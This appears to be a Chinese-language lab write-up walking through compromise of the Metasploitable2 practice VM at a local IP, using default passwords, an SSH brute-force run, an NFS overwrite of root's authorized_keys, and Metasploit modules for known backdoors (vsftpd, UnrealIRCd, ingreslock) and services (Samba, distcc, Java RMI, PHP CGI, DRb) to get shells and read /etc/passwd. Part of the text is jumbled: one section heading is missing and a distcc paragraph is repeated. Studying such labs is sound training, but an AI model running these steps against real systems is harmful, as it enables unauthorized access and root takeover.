Metasploitable2靶机漏洞实践

0x00:弱密码攻击漏洞

这里首先要打开本机的metasploitable2虚拟机,然后获取其ip地址为 192.168.112.129,如图3-0-1所示:

(一)系统弱密码登录

具体过程如下:

  1. 在kali上执行命令行telnet 192.168.112.129 23
  2. login和password都输入msfadmin
  3. 登录成功,进入系统
    结果如图3-1-1所示:

(注:类似弱密码还有user/user、postgres/postgres、sys/batman、klog/123456789、service/service)

(二)MySQL弱密码登录

具体过程如下:

  1. 在kali上执行mysql -h 192.168.112.129 -u root

  2. 登录成功,进入mysql系统

  3. 使用命令show databases;查看有哪些数据库

  4. 使用命令use owasp10;更换当前数据库

  5. 使用命令show tables;发现表后,再使用命令select * from accounts;可得相关数据库信息
    结果如图3-1-2所示:

类似的弱密码漏洞还有PostgreSQL弱密码登录VNC弱密码登录,原理一致,这里不再继续。

0x01:Samba MS-RPC Shell命令注入漏洞

相关原理如下:
​ Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
具体过程如下:

  1. 在kali中执行msfconsole,启动metasploit
  2. use exploit/multi/samba/usermap_script,选择漏洞
  3. set RHOST 192.168.112.129,设置要攻击的机器IP
  4. exploit,开始攻击
  5. 利用成功,执行uname –a验证
    结果如图3-2-1所示:

0x02:Vsftpd源码包后门漏洞

相关原理如下:
​ 在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
具体过程如下:

  1. 在kali中执行msfconsole,启动metasploit
  2. use exploit/unix/ftp/vsftpd_234_backdoor,选择漏洞
  3. set RHOST 192.168.112.129,设置要攻击的机器IP
  4. exploit,开始攻击
  5. 利用成功,执行uname –a验证
    结果如图3-3-1所示:

0x03:UnrealIRCd后门漏洞

相关原理如下:
​ 在2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
具体过程如下:

  1. 在kali中执行msfconsole,启动metasploit
  2. use exploit/unix/irc/unreal_ircd_3281_backdoor,选择漏洞
  3. set RHOST 192.168.112.129,设置要攻击的机器IP
  4. exploit,开始攻击
  5. 利用成功,执行uname –a验证
    结果如图3-4-1所示:

0x04:Linux NFS共享目录配置漏洞

相关原理如下:
​ NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/ authorized_keys可被修改,实现远程ssh无密码登陆。
具体过程如下:

  1. 在kali上执行命令行rpcinfo –p 192.168.112.129,查看nfs服务有无开启,结果如图3-5-1所示:

  2. showmount -e 192.168.112.129查看其设置的远程共享目录列表,结果如图3-5-2所示:

  3. 输入ssh-keygen生成rsa公钥,结果如图3-5-3所示:

  4. 依次输入

  • mount -t nfs 192.168.112.129:/ /tmp/t00l/(预先创建),把192.168.112.129的根目录挂载到/tmp/t00l/下;注:如果提示下图中错误则需要/etc/init.d/rpcbind start来启动mount
  • cat /root/.ssh/id_rsa.pub >> /tmp/t00l/root/.ssh/authorized_keys,把生成的公钥追加到靶机的authorized_keys下;
  • ssh root@192.168.112.129,实现无密码登陆
    结果如图3-5-4所示

0x05:Java RMI SERVER命令执行漏洞

相关原理如下:
​ Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
具体过程如下:

  1. Nmap –p 0-65535 192.168.112.129来查看1099端口是否开启,结果如图3-6-1所示:

  2. 依次输入以下命令:

    • msfconsole

    • use exploit/multi/misc/java_rmi_server

    • set RHOST 192.168.112.129(靶机IP)

    • exploit (这里会出现一个‘ Exploit failed: RuntimeError Timeout ’的报错,不用管)

    • sessions -1

    • shell

      结果如图3-6-2所示,即得到shell

0x06:Root用户弱口令漏洞(SSH爆破)

相关原理如下:
​ 靶机root用户存在弱口令漏洞,在使用指南里并没有指出。
具体过程如下:

  1. 输入nmap –sV –O 192.168.112.129,查看SSH端口是否开启,结果如图3-7-1所示:

  2. 打开metasploit framework依次输入:

  • use auxiliary/scanner/ssh/ssh_login
  • set RHOSTS 192.168.112.129
  • set USERNAME msfadmin
  • set PASS_FILE /tmp/r00t/pass.txt(字典文件,需要预先生成)
  • set THREADS 50
  • run
    结果如图3-7-2所示:口令爆破出来是 ‘msfadmin’
  1. ssh msfadmin@192.168.112.129 即可成功登录,如图3-7-3所示:

0x07:Distcc后门漏洞

相关原理如下:
​ Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制。
具体过程如下:

  1. 在kali中执行msfconsole,启动metasploit
  2. use exploit/unix/misc/distcc_exec,选择漏洞
  3. set RHOST 192.168.112.129,设置要攻击的机器IP
  4. exploit,开始攻击
  5. 利用成功,执行id查看权限,uname –a验证服务器信息
    结果如图3-8-1所示:

相关原理如下:
​ Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制。Samba是一套实现SMB(server messages block)协议,跨平台进行文件共享和打印共享服务的程序,samba的sambd默认配置在可写文件共享时,存在目录遍历漏洞,远程用户可以通过smbclient端使用一个对称命,创建一个包含..的目录遍历符的软连接 ,可以进行目录遍历以及访问任意文件。

具体过程如下:

  1. 在kali中执行msfconsole,启动metasploit
  2. use auxiliary/admin/smb/samba_symlink_traversal,选择漏洞
  3. set RHOST 192.168.112.129,设置要攻击的机器IP
  4. msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp 设置SAM可写文件
  5. exploit,开始攻击
  6. root@yd0str:~# smbclient //192.168.112.129/tmp 在新窗口下执行smbclient命令打开上面生成的共享目录
  7. smb: \> cd rootfs 进入rootfs目录
  8. smb: \rootfs\> ls 执行ls命令列出目录,
  9. smb: \rootfs\> more /etc/passwd 列出密码文件,利用成功
    结果如图3-9-1和3-9-2所示:

0x09:PHP CGI参数注入执行漏洞

相关原理如下:
​ CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

具体过程如下:

  1. 在kali中执行msfconsole,启动metasploit
  2. use exploit/multi/http/php_cgi_arg_injection,选择漏洞
  3. set RHOST 192.168.112.129,设置要攻击的机器IP
  4. exploit,开始攻击
  5. ls 获得meterpreter,可执行ls列出目录确认承认
    结果如图3-10-1所示:

0x0A:Druby 远程代码执行漏洞

相关原理如下:
​ Druby配置不当,被滥用执行命令(Distributed Ruby or DRb allows Ruby programs to communicate with each other on the same machine or over a network. DRb uses remote method invocation (RMI) to pass commands and data between processes)

具体过程如下:

  1. nmap -p 0-65535 -sS -sV 192.168.112.129,NMAP扫描端口及端口应用
    (或者amap -bqv 192.168.112.129 8787)
  2. 在kali中执行msfconsole,启动metasploit
  3. 发现8787druby端口
  4. search drb 搜索dbr相关漏洞
  5. use exploit/linux/misc/drb_remote_codeexec 使用漏洞
  6. set URI druby://7.7.5.255:8787,设置要攻击的机器的druby链接
  7. exploit,开始攻击
  8. 输入id, uname -a确认
    结果如图3-11-1和3-11-2所示:

0x0B:Ingreslock后门漏洞

相关原理如下:
​ Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限。

具体过程如下:

  1. 在kali中执行命令行telnet 192.168.112.129 1524
  2. 获得root权限
  3. 执行uname –a验证
    结果如图3-12-1所示:

0x0C:Rlogin后门漏洞

相关原理如下:
​ TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。要利用这个配置,确保rsh客户端已经安装(在linux操作系统上安装例如Open SSH),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh客户端没有安装,ubuntu一般默认使用SSH(Debian GNU/Linux也是如此)。

具体过程如下:

  1. 在kali中执行命令行nmap -sV 192.168.112.129发现513端口存在该漏洞
  2. 使用apt-get install rsh-client 安装相关软件
  3. rlogin -l root -p 513 192.168.112.129 即获得root

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add换源一直不成功的就可以试试这个。

结果如图3-13-1和3-13-2所示: